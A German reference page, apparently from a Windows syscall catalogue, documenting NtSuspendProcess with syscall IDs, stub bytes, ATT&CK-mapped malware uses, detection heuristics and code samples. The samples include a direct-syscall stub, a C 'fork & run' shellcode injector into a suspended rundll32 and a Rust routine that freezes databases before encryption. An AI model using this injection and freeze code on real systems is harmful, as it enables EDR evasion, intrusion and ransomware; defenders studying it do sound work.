> Windows Syscalls
ntoskrnl.exeT1055T1562.001T1106

NtSuspendProcess

Suspendiert alle Threads eines Zielprozesses, indem der Suspend-Zähler jedes Threads erhöht wird.

Prototyp

NTSTATUS NtSuspendProcess(
  HANDLE ProcessHandle
);

Argumente

NameTypeDirDescription
ProcessHandleHANDLEinHandle auf den zu suspendierenden Prozess. Erfordert PROCESS_SUSPEND_RESUME.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x19Fwin10-1507
Win10 16070x1A8win10-1607
Win10 17030x1AEwin10-1703
Win10 17090x1B1win10-1709
Win10 18030x1B3win10-1803
Win10 18090x1B4win10-1809
Win10 19030x1B5win10-1903
Win10 19090x1B5win10-1909
Win10 20040x1BBwin10-2004
Win10 20H20x1BBwin10-20h2
Win10 21H10x1BBwin10-21h1
Win10 21H20x1BDwin10-21h2
Win10 22H20x1BDwin10-22h2
Win11 21H20x1C7win11-21h2
Win11 22H20x1CBwin11-22h2
Win11 23H20x1CBwin11-23h2
Win11 24H20x1CEwin11-24h2
Server 20160x1A8winserver-2016
Server 20190x1B4winserver-2019
Server 20220x1C3winserver-2022
Server 20250x1CEwinserver-2025

Kernel-Modul

ntoskrnl.exeNtSuspendProcess

Verwandte APIs

DebugActiveProcessSuspendThreadNtSuspendThreadNtResumeProcessNtOpenProcess

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 CE 01 00 00      mov eax, 0x1CE
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtSuspendProcess wird aus ntdll exportiert, ist aber im öffentlichen Windows-SDK nicht dokumentiert; der unterstützte Weg ist der Win32-Wrapper (`SuspendThread` für jeden Thread). Intern durchläuft es EPROCESS ThreadListHead und ruft KeSuspendThread auf jedem Eintrag auf, sodass ein Suspend-Zähler pro Thread geführt wird — ein N-mal suspendierter Prozess benötigt N Resumes. Die SSN steigt über die Builds stetig (0x19F → 0x1CE), da neue Syscalls am Ende der SSDT eingefügt werden; dynamische Auflösung ist Pflicht.

Häufige Malware-Nutzung

Bekannteste Nutzung ist das **Fork & Run**-Sacrificial-Process-Modell von Cobalt Strike / BruteRatel: einen harmlosen Prozess (kanonisch rundll32.exe) suspended spawnen, BOF / Object File des Post-Exploitation-Tools injizieren, ausführen, dann terminieren oder suspended halten bis zur Exfiltration. NtSuspendProcess findet sich auch in **AV-Evasion-Sleeps** — statt im Implant zu schlafen (was Implant geschedult und scanbar lässt), suspended das Implant einen Geschwister-Helper-Prozess, während ETW-Callbacks seltener feuern. Ransomware nutzt es vor der Verschlüsselung, um Datenbanken (`sqlservr.exe`, `oracle.exe`, `mongod.exe`) einzufrieren, damit Datei-Handles freigegeben werden und Lockfiles die In-Place-Verschlüsselung nicht blockieren (LockBit, Royal, BlackCat tun das alle). Schließlich suspendieren Angreifer EDR-Helper-/Scanner-Prozesse, die gegen Termination geschützt sind, aber nicht gegen Suspension.

Erkennungs­möglichkeiten

Telemetrie ist dünn — es gibt kein Sysmon-Event für Prozess-Suspension, und Win32-SuspendThread-Instrumentierung erfasst selten alle Threads eines EPROCESS in einem Tick. Nützliche Quellen: Zustandsübergänge im Stil `Microsoft-Windows-Kernel-Process/ThreadStop` fehlen, aber `Microsoft-Windows-Kernel-Audit-API-Calls` deckt Nt*Process-Aufrufe ab, wenn die Audit-Policy aktiv ist. Heuristik: Ein Prozess mit PROCESS_SUSPEND_RESUME-Handles auf Nicht-Kind-Prozesse, besonders auf Sicherheits- oder Datenbank-Images, ist verdächtig. NtSuspendProcess-Detection mit nachfolgendem NtWriteVirtualMemory + NtResumeProcess desselben Aufrufers für hochzuverlässiges Fork-&-Run-Alerting koppeln.

Direkte Syscall-Beispiele

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtSuspendProcess (SSN 0x1CE on 24H2/2025)
; SSN climbs every release — resolve dynamically across builds.
NtSuspendProcess PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 1CEh         ; SSN
    syscall
    ret
NtSuspendProcess ENDP

cFork & Run sacrificial spawn

// Sacrificial-process pattern: spawn rundll32.exe suspended, then
// inject and execute a BOF or shellcode inside it. The host implant
// stays clean — only the helper carries the suspicious memory.
#include <windows.h>

typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);

void ForkAndRun(LPVOID shellcode, SIZE_T shellcode_len) {
    STARTUPINFOW si = { sizeof si };
    PROCESS_INFORMATION pi;
    CreateProcessW(L"C:\\Windows\\System32\\rundll32.exe", NULL, NULL, NULL,
                   FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,
                   NULL, NULL, &si, &pi);

    PVOID  remote = NULL;
    SIZE_T size = shellcode_len;
    NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, pi.hProcess,
                     remote, NULL, 0, 0, 0, 0, NULL);
    // pi.hThread stays suspended; only the BOF thread runs to completion.
}

rustfreeze DBs before encryption

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_SUSPEND_RESUME};

extern "system" { fn NtSuspendProcess(handle: HANDLE) -> i32; }

pub unsafe fn freeze(pids: &[u32]) {
    for &pid in pids {
        let h = OpenProcess(PROCESS_SUSPEND_RESUME, 0, pid);
        if !h.is_null() { NtSuspendProcess(h); }
    }
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20